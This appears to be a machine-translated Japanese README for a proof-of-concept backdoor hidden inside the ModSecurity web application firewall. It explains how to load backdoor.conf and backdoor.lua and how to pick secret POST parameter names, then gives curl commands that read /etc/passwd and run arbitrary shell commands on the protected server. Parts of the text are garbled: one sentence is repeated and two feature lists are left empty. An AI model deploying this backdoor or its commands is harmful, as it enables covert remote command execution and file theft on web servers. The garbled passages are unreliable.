
これは、ModSecurity WAFの内部で動作する悪意のあるソフトウェアの概念実証(PoC)です。
これは ModSecurity WAF 内部で動作する悪意のあるソフトウェアの概念実証です。
ソフトウェアには主に2つの機能があります:
さらに、以下の機能も含まれます:
SecStreamOutBodyInspection と SecContentInjection が On に設定されていることファイル backdoor.conf と backdoor.lua を取得し、最初のファイルを Web サーバーに読み込みます。
設定は backdoor.conf ファイル内の最初のルールで行うことができます。
この設定は、ファイルの内容を取得するために使用される POST 引数の名前を設定するために使用できます。koomem6Shmog のようなランダムな値に設定してください。
この設定は、コマンドを実行するために使用される POST 引数の名前を設定するために使用できます。tys4Olhuibves のようなランダムな値に設定してください。
コマンドは、ModSecurity WAF の背後にあるターゲットサーバー上の任意のアドレス(ドメイン)で実行できます。コマンドの出力は標準のサーバーレスポンスに追加されます。
ファイルの内容を取得する:
curl -X POST -d "koomem6Shmog=/etc/passwd" "http://example.com/"
コマンドを実行して出力を取得する:
curl -X POST -d "tys4Olhuibves=/bin/ps aux" "http://example.com/"
Copyright (c) 2022 Jozef Sudolsky. All rights reserved.
"THE BEER-WARE LICENSE" (Revision 42): [email protected] wrote this file. As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me a beer in return. Jozef Sudolsky